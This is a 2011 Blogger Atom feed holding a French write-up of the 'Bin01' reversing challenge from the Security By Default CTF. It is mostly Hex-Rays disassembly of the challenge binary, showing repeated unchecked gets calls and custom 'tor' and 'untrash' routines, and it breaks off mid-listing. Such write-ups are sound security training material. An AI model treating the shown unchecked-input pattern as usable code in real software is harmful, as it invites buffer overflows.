<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;DE8MQXYycSp7ImA9WhRRFE4.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893</id><updated>2011-11-28T00:34:40.899+01:00</updated><title>kmkz's blog</title><subtitle type="html">Just another web blog</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://kmkz-web-blog.blogspot.com/" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>24</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/KmkzsBlog" /><feedburner:info uri="kmkzsblog" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;CEYDSHY_fCp7ImA9Wx9WE00.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-2785689575990066033</id><published>2011-01-17T22:37:00.013+01:00</published><updated>2011-01-17T23:09:39.844+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-01-17T23:09:39.844+01:00</app:edited><title>[Write-Up] Security By Default CTF :  Bin01 (reversing)</title><content type="html">&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;a href="http://2.bp.blogspot.com/_2PS8BofuJBc/TTSydlvhyaI/AAAAAAAAABw/c5gkvp_i4og/s1600/secu_by_def_bin1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;span style="color: #cccccc;"&gt;Ce week end avaient lieu le CTF "Security By Default" auquel nous avons participé.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;Simultanément avait aussi lieu le Padocon qui lui aussi semblait vraiment simpa bien que d'un niveau bien hard ;-) .&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;Bref , concentrons-nous sur le sujet de ce billet , a savoir : le Bin01 du CTF "Security By Default".&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;La premiere chose que l'on remarque dessuite via l'utilitaire "file" : ce binaire est du type elf32 , non stippé .&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ainsi j'ai pu facilement commencer dans un premier temp une rapide analyse a l'aide d'Hexrays&amp;nbsp; afin de réaliser un arbre des appels de fonctions ainsi que des dumps ASM puis C pour bien cerner la bête et voir comment agir.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;(Les parties du code ne nous intérréssant pas on bien sur été supprimées)&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="color: #cccccc; font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="font-family: Verdana,sans-serif;"&gt; &amp;nbsp;&lt;/span&gt;&lt;b style="font-family: Verdana,sans-serif;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; ...&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="color: red; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset format ; "\n--- Welcome to '%s' systems.\n"&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br style="color: red;" /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+6Bh]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aS&amp;nbsp;&amp;nbsp;&amp;nbsp; ; "%s"&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, ds:stdin@@GLIBC_2_0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; stream&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _fflush&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+1894h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _gets&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+58h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aS&amp;nbsp;&amp;nbsp;&amp;nbsp; ; "%s"&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, ds:stdin@@GLIBC_2_0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; stream&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _fflush&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+10C4h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _gets&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+4Bh]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aS&amp;nbsp;&amp;nbsp;&amp;nbsp; ; "%s"&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, ds:stdin@@GLIBC_2_0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; stream&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _fflush&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+2068h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _gets&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+39h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aS&amp;nbsp;&amp;nbsp;&amp;nbsp; ; "%s"&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, ds:stdin@@GLIBC_2_0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; stream&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _fflush&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+8F4h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _gets&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+1Bh]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; untrash&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, 